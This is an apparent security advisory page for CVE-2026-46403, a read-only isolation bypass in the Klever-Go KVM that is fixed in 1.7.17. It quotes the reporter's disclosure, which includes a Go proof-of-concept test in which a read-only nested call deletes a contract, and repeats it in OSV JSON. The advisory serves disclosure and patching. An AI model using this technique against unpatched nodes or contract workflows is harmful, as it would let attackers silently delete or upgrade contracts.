CVE-2026-46403: Github.com/klever io/klever go Klever-Go KVM Read-only Execution Can Vulnerability

MODERATE
Advisory Identifier: GHSA-jc6w-wmfc-fh33
CVSS 6.3
CWE-693
Published
Advisory Summary

CVE-2026-46403 is a MODERATE (CVSS 6.3) klever-go kvm read-only execution can vulnerability (CWE-693: Protection Mechanism Failure) affecting Github.com/klever io/klever go libraries in the Go ecosystem. The issue involves klever-go kvm read-only execution can commit contract delete and upgrade side effects. Remediation is available by upgrading affected packages to version 1.7.17.

CVE-2026-46403 at a Glance

CVE Identifier CVE-2026-46403
GHSA Identifier GHSA-jc6w-wmfc-fh33
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product Github.com/klever io/klever go
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-46403

To remediate this vulnerability, upgrade all affected Github.com/klever io/klever go dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/klever-io/klever-go fixed: 1.7.17
Upgrade github.com/klever-io/klever-go to 1.7.17
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/klever-io/klever-go

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-46403, inspect your project dependencies for Github.com/klever io/klever go:

inspect dependencies for github.com/klever-io/klever-go

Analyze the terminal output to locate any version of Github.com/klever io/klever go in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.17), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Github.com/klever io/klever go, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Publisher note **Fixed in `v1.7.17`.** Operators running `< v1.7.17` should upgrade. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state. Patch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory). This advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under [GHSA-74m6-4hjp-7226](https://github.com/klever-io/klever-go/security/advisories/GHSA-74m6-4hjp-7226) so each issue receives its own CVE. The original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source. --- # Private Vulnerability Report Repository: klever-io/klever-go Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2 Disclosure channel: GitHub Private Vulnerability Reporting Reporter GitHub account: LoGGGG240211 ## 2.2 KVM read-only execution can commit contract delete side effects Severity : Medium Confidence : HIGH Attack Complexity : MEDIUM PoC Status : Confirmed ### Description KVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field. The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output. ### Location 1. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2097) 2. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2099) 3. [execution.go, doExecContractDelete(), line 237](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L237) 4. [execution.go, doExecContractDelete(), line 246](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L246) 5. [execution.go, executeUpgrade(), line 792](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L792) 6. [execution.go, executeUpgrade(), line 831](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L831) 7. [execution.go, executeDelete(), line 839](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L839) 8. [execution.go, executeDelete(), line 849](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L849) 9. [output.go, PopMergeActiveState(), line 103](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L103) 10. [output.go, mergeVMOutputs(), line 615](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L615) 11. [process.go, processVMOutput(), line 755](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L755) 12. [process.go, processVMOutput(), line 765](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L765) ### Preconditions 1. A contract workflow invokes a callee through KVM read-only execution. 2. The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract. 3. The target contract is upgradeable/deletable according to its KVM code metadata. 4. No node operator privilege, validator role, oracle condition, or block-level timing condition is required. ### Impact Successful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that `DeletedAccounts` changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner. ### Exploit Cost The cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above. ### Steps to Reproduce 1. Place `poc_kvm_readonly_delete_side_effect_test.go` in an empty directory. 2. Run the dependency commands listed in the PoC header. 3. Run `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go`. 4. Observe that the parent contract invokes a child contract through `ExecuteReadOnlyWithTypedArguments`. 5. Observe that the child contract uses the production managed delete hook against a target contract it owns. 6. Observe that the final VM output contains the target address in `DeletedAccounts` despite the delete action being triggered through read-only execution. ### Proof-of-Concept Result Running `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go` after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output. ```text # command-line-arguments.test /usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack /usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker === RUN TestPoC_KVMReadOnlyCanCommitDeleteSideEffect poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0 poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1 poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true --- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s) PASS ok command-line-arguments 0.007s ``` ### Suggested Fix Enforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when `runtime.ReadOnly()` is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state. ## Proof-of-Concept Source ### poc_kvm_readonly_delete_side_effect_test.go ```go package poc /* Target contract : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address Vulnerability : Read-only execution isolation bypass with contract delete side effect Severity : Medium How to run : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go Expected output : The test passes and logs deleted_accounts_after=1 and target_deleted=true Dependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy */ import ( "testing" contextmock "github.com/klever-io/klever-go/kvm/mock/context" worldmock "github.com/klever-io/klever-go/kvm/mock/world" test "github.com/klever-io/klever-go/kvm/testcommon" "github.com/klever-io/klever-go/kvm/vmhost/vmhooks" "github.com/klever-io/klever-go/vmcommon" "github.com/stretchr/testify/require" ) func TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) { // Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract. targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyTarget") // Record the initial delete side-effect state before any read-only execution occurs. deletedBefore := make([][]byte, 0) require.NotContains(t, deletedBefore, targetAddress) vmOutput, err := test.BuildMockInstanceCallTest(t). WithContracts( // The parent contract models the transaction entrypoint controlled by a user or contract workflow. test.CreateMockContract(test.ParentAddress). WithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) { parentInstance.AddMockMethod("callReadOnlyChild", func() *contextmock.InstanceMock { host := parentInstance.Host // The parent invokes the child through ExecuteReadOnly, which should not commit state effects. result := vmhooks.ExecuteReadOnlyWithTypedArguments( host, 100000, []byte("deleteTarget"), test.ChildAddress, nil, ) require.Equal(t, int32(0), result) return parentInstance }) }), // The child contract is called in read-only mode but attempts to delete a contract it owns. test.CreateMockContract(test.ChildAddress). WithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) { childInstance.AddMockMethod("deleteTarget", func() *contextmock.InstanceMock { host := childInstance.Host managedTypes := host.ManagedTypes() // Encode the target address and call the production ManagedDeleteContract hook. destHandle := managedTypes.NewManagedBufferFromBytes(targetAddress) argsHandle := managedTypes.NewManagedBuffer() managedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle) vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle) return childInstance }) }), // The target contract is upgradeable/deletable and owned by the read-only child. test.CreateMockContract(targetAddress). WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}). WithOwnerAddress(test.ChildAddress). WithMethods(), ). // Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly. WithInput(test.CreateTestContractCallInputBuilder(). WithRecipientAddr(test.ParentAddress). WithGasProvided(500000). WithFunction("callReadOnlyChild"). Build()). AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {}) require.NoError(t, err) // The read-only nested call must not create delete side effects, but the vulnerable implementation does. deletedAfter := vmOutput.DeletedAccounts require.Greater(t, len(deletedAfter), len(deletedBefore)) require.Contains(t, deletedAfter, targetAddress) t.Logf("deleted_accounts_before=%d", len(deletedBefore)) t.Logf("deleted_accounts_after=%d", len(deletedAfter)) t.Logf("target_deleted=%t", true) } ```

CVE-2026-46403 Affected Github.com/klever io/klever go Versions

1 component(s)
Fixed Versions:
1.7.17
Product / Package Ecosystem Affected Versions Fixed Version
github.com/klever-io/klever-go
Go
< 1.7.17
1.7.17

References

Frequently Asked Questions

What is CVE-2026-46403?
CVE-2026-46403 is a security vulnerability in Github.com/klever io/klever go involving Klever-Go KVM read-only execution can commit contract delete and upgrade side effects under CWE-693: Protection Mechanism Failure.
Which Github.com/klever io/klever go versions are affected?
Affected versions include releases prior to 1.7.17 across affected packages: github.com/klever-io/klever-go.
What version fixes CVE-2026-46403?
Upgrading to 1.7.17 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/klever-io/klever-go affected?
Yes, github.com/klever-io/klever-go is affected in releases prior to 1.7.17. Upgrade your dependency to 1.7.17 or later.
What is the CVSS score of CVE-2026-46403?
CVE-2026-46403 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N.
What CWE is associated with CVE-2026-46403?
CVE-2026-46403 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check Go dependencies for CVE-2026-46403?
Run the dependency tree command: 'inspect dependencies for github.com/klever-io/klever-go'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jc6w-wmfc-fh33",
  "modified" : "2026-05-21T16:53:32Z",
  "published" : "2026-05-21T16:53:32Z",
  "aliases" : [ "CVE-2026-46403" ],
  "summary" : "Klever-Go KVM read-only execution can commit contract delete and upgrade side effects",
  "details" : "## Publisher note\n\n**Fixed in `v1.7.17`.** Operators running `< v1.7.17` should upgrade. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\nPatch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).\n\nThis advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under [GHSA-74m6-4hjp-7226](https://github.com/klever-io/klever-go/security/advisories/GHSA-74m6-4hjp-7226) so each issue receives its own CVE.\n\nThe original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.\n\n---\n\n# Private Vulnerability Report\n\nRepository: klever-io/klever-go\nReviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2\nDisclosure channel: GitHub Private Vulnerability Reporting\nReporter GitHub account: LoGGGG240211\n\n## 2.2 KVM read-only execution can commit contract delete side effects\n\nSeverity            : Medium\nConfidence          : HIGH\nAttack Complexity   : MEDIUM\nPoC Status          : Confirmed\n\n### Description\n\nKVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.\n\nThe root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.\n\n### Location\n\n1. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2097)\n2. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2099)\n3. [execution.go, doExecContractDelete(), line 237](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L237)\n4. [execution.go, doExecContractDelete(), line 246](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L246)\n5. [execution.go, executeUpgrade(), line 792](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L792)\n6. [execution.go, executeUpgrade(), line 831](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L831)\n7. [execution.go, executeDelete(), line 839](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L839)\n8. [execution.go, executeDelete(), line 849](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L849)\n9. [output.go, PopMergeActiveState(), line 103](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L103)\n10. [output.go, mergeVMOutputs(), line 615](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L615)\n11. [process.go, processVMOutput(), line 755](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L755)\n12. [process.go, processVMOutput(), line 765](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L765)\n\n### Preconditions\n\n1. A contract workflow invokes a callee through KVM read-only execution.\n2. The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.\n3. The target contract is upgradeable/deletable according to its KVM code metadata.\n4. No node operator privilege, validator role, oracle condition, or block-level timing condition is required.\n\n### Impact\n\nSuccessful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that `DeletedAccounts` changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.\n\n### Exploit Cost\n\nThe cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.\n\n### Steps to Reproduce\n\n1. Place `poc_kvm_readonly_delete_side_effect_test.go` in an empty directory.\n2. Run the dependency commands listed in the PoC header.\n3. Run `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go`.\n4. Observe that the parent contract invokes a child contract through `ExecuteReadOnlyWithTypedArguments`.\n5. Observe that the child contract uses the production managed delete hook against a target contract it owns.\n6. Observe that the final VM output contains the target address in `DeletedAccounts` despite the delete action being triggered through read-only execution.\n\n### Proof-of-Concept Result\n\nRunning `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go` after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.\n\n```text\n# command-line-arguments.test\n/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack\n/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker\n=== RUN   TestPoC_KVMReadOnlyCanCommitDeleteSideEffect\n    poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0\n    poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1\n    poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true\n--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)\nPASS\nok  \tcommand-line-arguments\t0.007s\n```\n\n### Suggested Fix\n\nEnforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when `runtime.ReadOnly()` is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\n## Proof-of-Concept Source\n\n### poc_kvm_readonly_delete_side_effect_test.go\n\n```go\npackage poc\n\n/*\nTarget contract   : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address\nVulnerability     : Read-only execution isolation bypass with contract delete side effect\nSeverity          : Medium\nHow to run        : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go\nExpected output   : The test passes and logs deleted_accounts_after=1 and target_deleted=true\nDependencies      : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy\n*/\n\nimport (\n\t\"testing\"\n\n\tcontextmock \"github.com/klever-io/klever-go/kvm/mock/context\"\n\tworldmock \"github.com/klever-io/klever-go/kvm/mock/world\"\n\ttest \"github.com/klever-io/klever-go/kvm/testcommon\"\n\t\"github.com/klever-io/klever-go/kvm/vmhost/vmhooks\"\n\t\"github.com/klever-io/klever-go/vmcommon\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {\n\t// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.\n\ttargetAddress := test.MakeTestSCAddressWithDefaultVM(\"readonlyTarget\")\n\n\t// Record the initial delete side-effect state before any read-only execution occurs.\n\tdeletedBefore := make([][]byte, 0)\n\trequire.NotContains(t, deletedBefore, targetAddress)\n\n\tvmOutput, err := test.BuildMockInstanceCallTest(t).\n\t\tWithContracts(\n\t\t\t// The parent contract models the transaction entrypoint controlled by a user or contract workflow.\n\t\t\ttest.CreateMockContract(test.ParentAddress).\n\t\t\t\tWithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tparentInstance.AddMockMethod(\"callReadOnlyChild\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := parentInstance.Host\n\n\t\t\t\t\t\t// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.\n\t\t\t\t\t\tresult := vmhooks.ExecuteReadOnlyWithTypedArguments(\n\t\t\t\t\t\t\thost,\n\t\t\t\t\t\t\t100000,\n\t\t\t\t\t\t\t[]byte(\"deleteTarget\"),\n\t\t\t\t\t\t\ttest.ChildAddress,\n\t\t\t\t\t\t\tnil,\n\t\t\t\t\t\t)\n\t\t\t\t\t\trequire.Equal(t, int32(0), result)\n\n\t\t\t\t\t\treturn parentInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The child contract is called in read-only mode but attempts to delete a contract it owns.\n\t\t\ttest.CreateMockContract(test.ChildAddress).\n\t\t\t\tWithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tchildInstance.AddMockMethod(\"deleteTarget\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := childInstance.Host\n\t\t\t\t\t\tmanagedTypes := host.ManagedTypes()\n\n\t\t\t\t\t\t// Encode the target address and call the production ManagedDeleteContract hook.\n\t\t\t\t\t\tdestHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)\n\t\t\t\t\t\targsHandle := managedTypes.NewManagedBuffer()\n\t\t\t\t\t\tmanagedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)\n\n\t\t\t\t\t\tvmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)\n\n\t\t\t\t\t\treturn childInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The target contract is upgradeable/deletable and owned by the read-only child.\n\t\t\ttest.CreateMockContract(targetAddress).\n\t\t\t\tWithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).\n\t\t\t\tWithOwnerAddress(test.ChildAddress).\n\t\t\t\tWithMethods(),\n\t\t).\n\t\t// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.\n\t\tWithInput(test.CreateTestContractCallInputBuilder().\n\t\t\tWithRecipientAddr(test.ParentAddress).\n\t\t\tWithGasProvided(500000).\n\t\t\tWithFunction(\"callReadOnlyChild\").\n\t\t\tBuild()).\n\t\tAndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})\n\n\trequire.NoError(t, err)\n\n\t// The read-only nested call must not create delete side effects, but the vulnerable implementation does.\n\tdeletedAfter := vmOutput.DeletedAccounts\n\trequire.Greater(t, len(deletedAfter), len(deletedBefore))\n\trequire.Contains(t, deletedAfter, targetAddress)\n\n\tt.Logf(\"deleted_accounts_before=%d\", len(deletedBefore))\n\tt.Logf(\"deleted_accounts_after=%d\", len(deletedAfter))\n\tt.Logf(\"target_deleted=%t\", true)\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/klever-io/klever-go"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.7.17"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/klever-io/klever-go"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-21T16:53:32Z",
    "nvd_published_at" : null
  }
}